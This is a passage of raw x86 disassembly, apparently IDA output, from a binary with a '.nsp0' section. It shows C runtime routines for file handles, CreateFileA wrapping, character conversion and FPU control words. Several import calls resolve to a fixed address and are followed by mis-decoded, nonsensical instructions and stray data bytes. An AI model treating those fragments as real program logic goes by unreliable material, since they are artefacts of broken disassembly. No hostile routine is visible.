dword_462BC4, 1Ch mov dword_462BC8, edi jmp short loc_419931 ; --------------------------------------------------------------------------- loc_41991B: ; CODE XREF: sub_41978C+FEj sub eax, [ebp+var_10] jmp short loc_419934 ; --------------------------------------------------------------------------- loc_419920: ; CODE XREF: sub_41978C+15j ; sub_41978C+37j and dword_462BC8, 0 mov dword_462BC4, 9 loc_419931: ; CODE XREF: sub_41978C+120j ; sub_41978C+166j ... or eax, 0FFFFFFFFh loc_419934: ; CODE XREF: sub_41978C+4Cj ; sub_41978C+192j pop edi pop esi pop ebx leave retn sub_41978C endp ; =============== S U B R O U T I N E ======================================= sub_419939 proc near ; CODE XREF: sub_414507+6Cp ; sub_418180+32p ... arg_0 = dword ptr 4 inc dword_462D84 push 1000h call sub_41279F pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_419962 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_419973 ; --------------------------------------------------------------------------- loc_419962: ; CODE XREF: sub_419939+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_419973: ; CODE XREF: sub_419939+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_419939 endp ; =============== S U B R O U T I N E ======================================= sub_41997D proc near ; CODE XREF: sub_414507+61p ; sub_415086+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_463FE0 jb short loc_41998C xor eax, eax retn ; --------------------------------------------------------------------------- loc_41998C: ; CODE XREF: sub_41997D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_463EE0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41997D endp ; =============== S U B R O U T I N E ======================================= sub_4199A3 proc near ; DATA XREF: .nsp0:0041F01Co mov eax, dword_463EC0 push esi push 14h test eax, eax pop esi jnz short loc_4199B7 mov eax, 200h jmp short loc_4199BD ; --------------------------------------------------------------------------- loc_4199B7: ; CODE XREF: sub_4199A3+Bj cmp eax, esi jge short loc_4199C2 mov eax, esi loc_4199BD: ; CODE XREF: sub_4199A3+12j mov dword_463EC0, eax loc_4199C2: ; CODE XREF: sub_4199A3+16j push 4 push eax call sub_41B047 pop ecx mov dword_462EB0, eax test eax, eax pop ecx jnz short loc_4199F6 push 4 push esi mov dword_463EC0, esi call sub_41B047 pop ecx mov dword_462EB0, eax test eax, eax pop ecx jnz short loc_4199F6 push 1Ah call sub_4144BE pop ecx loc_4199F6: ; CODE XREF: sub_4199A3+30j ; sub_4199A3+49j xor ecx, ecx mov eax, offset off_431BA8 loc_4199FD: ; CODE XREF: sub_4199A3+6Ej mov edx, dword_462EB0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_431E28 jl short loc_4199FD xor edx, edx mov ecx, offset dword_431BB8 loc_419A1A: ; CODE XREF: sub_4199A3+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_463EE0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_419A37 test eax, eax jnz short loc_419A3A loc_419A37: ; CODE XREF: sub_4199A3+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_419A3A: ; CODE XREF: sub_4199A3+92j add ecx, 20h inc edx cmp ecx, offset dword_431C18 jl short loc_419A1A pop esi retn sub_4199A3 endp ; =============== S U B R O U T I N E ======================================= sub_419A48 proc near ; DATA XREF: .nsp0:0041F02Co ; FUNCTION CHUNK AT 0041B0C4 SIZE 00000058 BYTES call sub_415010 cmp byte_462C04, 0 jz short locret_419A5B jmp loc_41B0C4 ; --------------------------------------------------------------------------- locret_419A5B: ; CODE XREF: sub_419A48+Cj retn sub_419A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A5C proc near ; CODE XREF: sub_41461C+2D4p ; sub_41461C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_419A68 pop ebp retn ; --------------------------------------------------------------------------- loc_419A68: ; CODE XREF: sub_419A5C+8j cmp dword_462C58, 0 jnz short loc_419A83 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_419AB5 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A5C+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4316BC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_462C68 call dword_41D12C ; WideCharToMultiByte test eax, eax jz short loc_419AB5 cmp [ebp+arg_0], 0 jz short loc_419AC2 loc_419AB5: ; CODE XREF: sub_419A5C+1Ej ; sub_419A5C+51j mov dword_462BC4, 2Ah or eax, 0FFFFFFFFh loc_419AC2: ; CODE XREF: sub_419A5C+57j pop ebp retn sub_419A5C endp ; --------------------------------------------------------------------------- loc_419AC4: ; CODE XREF: sub_414E26+5Ep ; sub_418ACF+9Ap push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41DB78 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, dword_462D88 xor ebx, ebx cmp eax, ebx jnz short loc_419B33 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_41D868 push esi call dword_41D028 ; GetStringTypeW test eax, eax jz short loc_419B11 mov eax, esi jmp short loc_419B2E ; --------------------------------------------------------------------------- loc_419B11: ; CODE XREF: .nsp0:00419B0Bj lea eax, [ebp-1Ch] push eax push esi push offset dword_432704 push esi push ebx call near ptr 0AB0000h sub [ebp-317BF040h], eax ; --------------------------------------------------------------------------- dd 6A000000h db 2, 58h ; --------------------------------------------------------------------------- loc_419B2E: ; CODE XREF: .nsp0:00419B0Fj mov dword_462D88, eax loc_419B33: ; CODE XREF: .nsp0:00419AF3j cmp eax, 2 jnz short loc_419B5C mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_419B44 mov eax, dword_462C58 loc_419B44: ; CODE XREF: .nsp0:00419B3Dj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 0AB0000h stosb jmp loc_419BFB ; --------------------------------------------------------------------------- loc_419B5C: ; CODE XREF: .nsp0:00419B36j cmp eax, 1 jnz loc_419BF9 cmp [ebp+18h], ebx jnz short loc_419B72 mov eax, dword_462C68 mov [ebp+18h], eax loc_419B72: ; CODE XREF: .nsp0:00419B68j push ebx push ebx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] mov eax, [ebp+20h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+18h] call dword_41D130 ; MultiByteToWideChar mov [ebp-20h], eax cmp eax, ebx jz short loc_419BF9 mov [ebp-4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_412770 mov [ebp-18h], esp mov esi, esp mov [ebp-24h], esi push edi push ebx push esi call sub_411F70 add esp, 0Ch jmp short loc_419BC8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor esi, esi loc_419BC8: ; CODE XREF: .nsp0:00419BBBj or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_419BF9 push dword ptr [ebp-20h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call dword_41D130 ; MultiByteToWideChar cmp eax, ebx jz short loc_419BF9 push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call dword_41D028 ; GetStringTypeW jmp short loc_419BFB ; --------------------------------------------------------------------------- loc_419BF9: ; CODE XREF: .nsp0:00419B5Fj ; .nsp0:00419B94j ... xor eax, eax loc_419BFB: ; CODE XREF: .nsp0:00419B57j ; .nsp0:00419BF7j lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_419C0D proc near ; CODE XREF: sub_419E27:loc_419F9Fp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_463EE0 loc_419C1C: ; CODE XREF: sub_419C0D+48j mov eax, [ecx] test eax, eax jz short loc_419C59 lea edx, [eax+100h] loc_419C28: ; CODE XREF: sub_419C0D+28j cmp eax, edx jnb short loc_419C48 test byte ptr [eax+4], 1 jz short loc_419C37 add eax, 8 jmp short loc_419C28 ; --------------------------------------------------------------------------- loc_419C37: ; CODE XREF: sub_419C0D+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_419C9C loc_419C48: ; CODE XREF: sub_419C0D+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_463FE0 jl short loc_419C1C jmp short loc_419C9C ; --------------------------------------------------------------------------- loc_419C59: ; CODE XREF: sub_419C0D+13j mov esi, 100h push esi call sub_41279F test eax, eax pop ecx jz short loc_419C9C add dword_463FE0, 20h lea ecx, ds:463EE0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_419C7F: ; CODE XREF: sub_419C0D+88j cmp eax, edx jnb short loc_419C97 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_419C7F ; --------------------------------------------------------------------------- loc_419C97: ; CODE XREF: sub_419C0D+74j shl edi, 5 mov ebx, edi loc_419C9C: ; CODE XREF: sub_419C0D+39j ; sub_419C0D+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_419C0D endp ; --------------------------------------------------------------------------- loc_419CA2: ; CODE XREF: sub_419E27+1F4p mov eax, [esp+4] push esi cmp eax, dword_463FE0 push edi jnb short loc_419D02 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:463EE0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_419D02 cmp dword_4314A4, 1 push ebx mov ebx, [esp+14h] jnz short near ptr loc_419CF7+1 sub eax, 0 jz short loc_419CEF dec eax jz short loc_419CEA dec eax jnz short near ptr loc_419CF7+1 push ebx push 0FFFFFFF4h jmp short loc_419CF2 ; --------------------------------------------------------------------------- loc_419CEA: ; CODE XREF: .nsp0:00419CE0j push ebx push 0FFFFFFF5h jmp short loc_419CF2 ; --------------------------------------------------------------------------- loc_419CEF: ; CODE XREF: .nsp0:00419CDDj push ebx push 0FFFFFFF6h loc_419CF2: ; CODE XREF: .nsp0:00419CE8j ; .nsp0:00419CEDj call near ptr 0AB0000h loc_419CF7: ; CODE XREF: .nsp0:00419CD8j ; .nsp0:00419CE3j or [ebx+301C8907h], cl xor eax, eax pop ebx jmp short loc_419D16 ; --------------------------------------------------------------------------- loc_419D02: ; CODE XREF: .nsp0:00419CAEj ; .nsp0:00419CCAj and dword_462BC8, 0 mov dword_462BC4, 9 or eax, 0FFFFFFFFh loc_419D16: ; CODE XREF: .nsp0:00419D00j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_419D19 proc near ; CODE XREF: sub_414E9B+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_463FE0 push edi jnb short loc_419D7C mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:463EE0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_419D7C cmp dword ptr [eax], 0FFFFFFFFh jz short loc_419D7C cmp dword_4314A4, 1 jnz short near ptr loc_419D71+1 xor eax, eax sub ecx, eax jz short loc_419D69 dec ecx jz short loc_419D64 dec ecx jnz short near ptr loc_419D71+1 push eax push 0FFFFFFF4h jmp short loc_419D6C ; --------------------------------------------------------------------------- loc_419D64: ; CODE XREF: sub_419D19+41j push eax push 0FFFFFFF5h jmp short loc_419D6C ; --------------------------------------------------------------------------- loc_419D69: ; CODE XREF: sub_419D19+3Ej push eax push 0FFFFFFF6h loc_419D6C: ; CODE XREF: sub_419D19+49j ; sub_419D19+4Ej call near ptr 0AB0000h loc_419D71: ; CODE XREF: sub_419D19+38j ; sub_419D19+44j fmul dword ptr [ebx+300C8307h] push dword ptr [ebx] shr bl, 14h loc_419D7C: ; CODE XREF: sub_419D19+Cj ; sub_419D19+2Aj ... and dword_462BC8, 0 mov dword_462BC4, 9 or eax, 0FFFFFFFFh pop edi pop esi retn sub_419D19 endp ; =============== S U B R O U T I N E ======================================= sub_419D93 proc near ; CODE XREF: sub_414E9B+32p ; sub_414E9B+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_463FE0 jnb short loc_419DBB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_463EE0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_419DBB mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_419DBB: ; CODE XREF: sub_419D93+Aj ; sub_419D93+23j and dword_462BC8, 0 mov dword_462BC4, 9 or eax, 0FFFFFFFFh retn sub_419D93 endp ; =============== S U B R O U T I N E ======================================= sub_419DD0 proc near ; CODE XREF: sub_414F79+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_463FE0 jnb short loc_419E19 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_463EE0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_419E19 push eax call sub_419D93 pop ecx push eax call near ptr 0AB0000h add [ebp-0F78A40h], al adc eax, offset dword_41D06C jmp short loc_419E10 ; --------------------------------------------------------------------------- xor eax, eax loc_419E10: ; CODE XREF: sub_419DD0+3Cj test eax, eax jz short locret_419E26 mov dword_462BC8, eax loc_419E19: ; CODE XREF: sub_419DD0+Aj ; sub_419DD0+22j mov dword_462BC4, 9 or eax, 0FFFFFFFFh locret_419E26: ; CODE XREF: sub_419DD0+42j retn sub_419DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E27 proc near ; CODE XREF: sub_415150+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_419E4D mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_419E58 ; --------------------------------------------------------------------------- loc_419E4D: ; CODE XREF: sub_419E27+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_419E58: ; CODE XREF: sub_419E27+24j mov eax, 8000h test ecx, eax jnz short loc_419E72 test ch, 40h jnz short loc_419E6E cmp dword_462E90, eax jz short loc_419E72 loc_419E6E: ; CODE XREF: sub_419E27+3Dj or [ebp+var_1], 80h loc_419E72: ; CODE XREF: sub_419E27+38j ; sub_419E27+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_419EAA dec eax jz short loc_419EA1 dec eax jz short loc_419E98 loc_419E83: ; CODE XREF: sub_419E27+9Fj ; sub_419E27+E8j ... mov dword_462BC4, 16h mov dword_462BC8, ebx jmp loc_41A0BD ; --------------------------------------------------------------------------- loc_419E98: ; CODE XREF: sub_419E27+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_419EB1 ; --------------------------------------------------------------------------- loc_419EA1: ; CODE XREF: sub_419E27+57j mov [ebp+var_C], 40000000h jmp short loc_419EB1 ; --------------------------------------------------------------------------- loc_419EAA: ; CODE XREF: sub_419E27+54j mov [ebp+var_C], 80000000h loc_419EB1: ; CODE XREF: sub_419E27+78j ; sub_419E27+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_419EDF cmp eax, 20h jz short loc_419ED6 cmp eax, 30h jz short loc_419ECD cmp eax, 40h jnz short loc_419E83 mov [ebp+var_10], esi jmp short loc_419EE2 ; --------------------------------------------------------------------------- loc_419ECD: ; CODE XREF: sub_419E27+9Aj mov [ebp+var_10], 2 jmp short loc_419EE2 ; --------------------------------------------------------------------------- loc_419ED6: ; CODE XREF: sub_419E27+95j mov [ebp+var_10], 1 jmp short loc_419EE2 ; --------------------------------------------------------------------------- loc_419EDF: ; CODE XREF: sub_419E27+90j mov [ebp+var_10], ebx loc_419EE2: ; CODE XREF: sub_419E27+A4j ; sub_419E27+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_419F2C jz short loc_419F27 cmp ecx, ebx jz short loc_419F27 cmp ecx, edi jz short loc_419F1E cmp ecx, 200h jz short loc_419F45 cmp ecx, 300h jnz loc_419E83 mov [ebp+var_8], 2 jmp short loc_419F55 ; --------------------------------------------------------------------------- loc_419F1E: ; CODE XREF: sub_419E27+D8j mov [ebp+var_8], 4 jmp short loc_419F55 ; --------------------------------------------------------------------------- loc_419F27: ; CODE XREF: sub_419E27+D0j ; sub_419E27+D4j mov [ebp+var_8], esi jmp short loc_419F55 ; --------------------------------------------------------------------------- loc_419F2C: ; CODE XREF: sub_419E27+CEj cmp ecx, 500h jz short loc_419F4E cmp ecx, 600h jz short loc_419F45 cmp ecx, edx jz short loc_419F4E jmp loc_419E83 ; --------------------------------------------------------------------------- loc_419F45: ; CODE XREF: sub_419E27+E0j ; sub_419E27+113j mov [ebp+var_8], 5 jmp short loc_419F55 ; --------------------------------------------------------------------------- loc_419F4E: ; CODE XREF: sub_419E27+10Bj ; sub_419E27+117j mov [ebp+var_8], 1 loc_419F55: ; CODE XREF: sub_419E27+F5j ; sub_419E27+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_419F74 mov ecx, dword_462BCC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_419F74 push 1 pop esi loc_419F74: ; CODE XREF: sub_419E27+138j ; sub_419E27+148j test al, 40h jz short loc_419F82 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_419F82: ; CODE XREF: sub_419E27+14Fj test ah, 10h jz short loc_419F89 or esi, edi loc_419F89: ; CODE XREF: sub_419E27+15Ej test al, 20h jz short loc_419F95 or esi, 8000000h jmp short loc_419F9F ; --------------------------------------------------------------------------- loc_419F95: ; CODE XREF: sub_419E27+164j test al, 10h jz short loc_419F9F or esi, 10000000h loc_419F9F: ; CODE XREF: sub_419E27+16Cj ; sub_419E27+170j call sub_419C0D mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_419FC0 and dword_462BC8, 0 mov dword_462BC4, 18h jmp short loc_419FFE ; --------------------------------------------------------------------------- loc_419FC0: ; CODE XREF: sub_419E27+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_41D07C ; CreateFileA mov esi, eax cmp esi, edi jz short loc_419FF1 push esi call near ptr 0AB0000h pop ss test eax, eax jnz short loc_41A005 push esi call dword_41D074 ; CloseHandle loc_419FF1: ; CODE XREF: sub_419E27+1B6j call dword_41D06C ; RtlGetLastWin32Error push eax call sub_418CFA pop ecx loc_419FFE: ; CODE XREF: sub_419E27+197j mov eax, edi jmp loc_41A0DB ; --------------------------------------------------------------------------- loc_41A005: ; CODE XREF: sub_419E27+1C1j cmp eax, 2 jnz short loc_41A010 or [ebp+var_1], 40h jmp short loc_41A019 ; --------------------------------------------------------------------------- loc_41A010: ; CODE XREF: sub_419E27+1E1j cmp eax, 3 jnz short loc_41A019 or [ebp+var_1], 8 loc_41A019: ; CODE XREF: sub_419E27+1E7j ; sub_419E27+1ECj push esi push ebx call loc_419CA2 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:463EE0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41A0C2 test al, 80h jz short loc_41A0C2 test byte ptr [ebp+arg_4], 2 jz short loc_41A0C2 push 2 push 0FFFFFFFFh push ebx call sub_41844F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41A077 cmp dword_462BC8, 83h jz short loc_41A0C2 jmp short loc_41A0B6 ; --------------------------------------------------------------------------- loc_41A077: ; CODE XREF: sub_419E27+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_418259 add esp, 0Ch test eax, eax jnz short loc_41A0A4 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41A0A4 push [ebp+var_10] push ebx call sub_41B11C pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A0B6 loc_41A0A4: ; CODE XREF: sub_419E27+265j ; sub_419E27+26Bj push 0 push 0 push ebx call sub_41844F add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41A0C2 loc_41A0B6: ; CODE XREF: sub_419E27+24Ej ; sub_419E27+27Bj push ebx call sub_414E9B pop ecx loc_41A0BD: ; CODE XREF: sub_419E27+6Cj or eax, 0FFFFFFFFh jmp short loc_41A0DB ; --------------------------------------------------------------------------- loc_41A0C2: ; CODE XREF: sub_419E27+221j ; sub_419E27+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41A0D9 test byte ptr [ebp+arg_4], 8 jz short loc_41A0D9 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41A0D9: ; CODE XREF: sub_419E27+29Fj ; sub_419E27+2A5j mov eax, ebx loc_41A0DB: ; CODE XREF: sub_419E27+1D9j ; sub_419E27+299j pop edi pop esi pop ebx leave retn sub_419E27 endp ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: sub_416483+52p xor eax, eax retn sub_41A0E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0E3 proc near ; CODE XREF: sub_41A118+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41A12E mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41A1C0 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41A0E3 endp ; =============== S U B R O U T I N E ======================================= sub_41A118 proc near ; CODE XREF: sub_41676F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41A0E3 pop ecx pop ecx retn sub_41A118 endp ; =============== S U B R O U T I N E ======================================= sub_41A12E proc near ; CODE XREF: sub_41A0E3+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41A13F push 10h pop eax loc_41A13F: ; CODE XREF: sub_41A12E+Cj test bl, 4 jz short loc_41A146 or al, 8 loc_41A146: ; CODE XREF: sub_41A12E+14j test bl, 8 jz short loc_41A14D or al, 4 loc_41A14D: ; CODE XREF: sub_41A12E+1Bj test bl, 10h jz short loc_41A154 or al, 2 loc_41A154: ; CODE XREF: sub_41A12E+22j test bl, 20h jz short loc_41A15B or al, 1 loc_41A15B: ; CODE XREF: sub_41A12E+29j test bl, 2 jz short loc_41A165 or eax, 80000h loc_41A165: ; CODE XREF: sub_41A12E+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41A19D cmp edx, 400h jz short loc_41A19A cmp edx, 800h jz short loc_41A196 cmp edx, esi jnz short loc_41A19D or eax, edi jmp short loc_41A19D ; --------------------------------------------------------------------------- loc_41A196: ; CODE XREF: sub_41A12E+5Ej or eax, ebp jmp short loc_41A19D ; --------------------------------------------------------------------------- loc_41A19A: ; CODE XREF: sub_41A12E+56j or ah, 1 loc_41A19D: ; CODE XREF: sub_41A12E+4Ej ; sub_41A12E+62j ... and ecx, edi pop esi jz short loc_41A1AD cmp ecx, ebp jnz short loc_41A1B2 or eax, 10000h jmp short loc_41A1B2 ; --------------------------------------------------------------------------- loc_41A1AD: ; CODE XREF: sub_41A12E+72j or eax, 20000h loc_41A1B2: ; CODE XREF: sub_41A12E+76j ; sub_41A12E+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41A1BF or eax, 40000h locret_41A1BF: ; CODE XREF: sub_41A12E+8Aj retn sub_41A12E endp ; =============== S U B R O U T I N E ======================================= sub_41A1C0 proc near ; CODE XREF: sub_41A0E3+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41A1D0 push 1 pop eax loc_41A1D0: ; CODE XREF: sub_41A1C0+Bj test bl, 8 jz short loc_41A1D7 or al, 4 loc_41A1D7: ; CODE XREF: sub_41A1C0+13j test bl, 4 jz short loc_41A1DE or al, 8 loc_41A1DE: ; CODE XREF: sub_41A1C0+1Aj test bl, 2 jz short loc_41A1E5 or al, 10h loc_41A1E5: ; CODE XREF: sub_41A1C0+21j test bl, 1 jz short loc_41A1EC or al, 20h loc_41A1EC: ; CODE XREF: sub_41A1C0+28j test ebx, 80000h jz short loc_41A1F6 or al, 2 loc_41A1F6: ; CODE XREF: sub_41A1C0+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41A223 cmp ecx, 100h jz short loc_41A220 cmp ecx, esi jz short loc_41A21B cmp ecx, edx jnz short loc_41A223 or ah, 0Ch jmp short loc_41A223 ; --------------------------------------------------------------------------- loc_41A21B: ; CODE XREF: sub_41A1C0+50j or ah, 8 jmp short loc_41A223 ; --------------------------------------------------------------------------- loc_41A220: ; CODE XREF: sub_41A1C0+4Cj or ah, 4 loc_41A223: ; CODE XREF: sub_41A1C0+44j ; sub_41A1C0+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41A239 cmp ecx, 10000h jnz short loc_41A23B or eax, esi jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A239: ; CODE XREF: sub_41A1C0+6Bj or eax, edx loc_41A23B: ; CODE XREF: sub_41A1C0+73j ; sub_41A1C0+77j pop esi test ebx, 40000h pop ebx jz short locret_41A248 or ah, 10h locret_41A248: ; CODE XREF: sub_41A1C0+83j retn sub_41A1C0 endp ; =============== S U B R O U T I N E ======================================= sub_41A249 proc near ; CODE XREF: sub_41A2E8+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41A28E inc esi cmp esi, 3 jge short loc_41A289 lea eax, [eax+esi*4] loc_41A27B: ; CODE XREF: sub_41A249+3Ej cmp dword ptr [eax], 0 jnz short loc_41A28E inc esi add eax, 4 cmp esi, 3 jl short loc_41A27B loc_41A289: ; CODE XREF: sub_41A249+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41A28E: ; CODE XREF: sub_41A249+27j ; sub_41A249+35j xor eax, eax pop esi retn sub_41A249 endp ; =============== S U B R O U T I N E ======================================= sub_41A292 proc near ; CODE XREF: sub_41A2E8+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41B262 add esp, 0Ch dec esi js short loc_41A2E4 lea edi, [ebx+esi*4] loc_41A2CB: ; CODE XREF: sub_41A292+50j test eax, eax jz short loc_41A2E4 push edi push 1 push dword ptr [edi] call sub_41B262 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41A2CB loc_41A2E4: ; CODE XREF: sub_41A292+34j ; sub_41A292+3Bj pop edi pop esi pop ebx retn sub_41A292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2E8 proc near ; CODE XREF: sub_41A443+81p ; sub_41A443+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41A34C inc ebx push ebx push [ebp+arg_0] call sub_41A249 pop ecx test eax, eax pop ecx jnz short loc_41A349 push edi push [ebp+arg_0] call sub_41A292 pop ecx mov [ebp+var_4], eax pop ecx loc_41A349: ; CODE XREF: 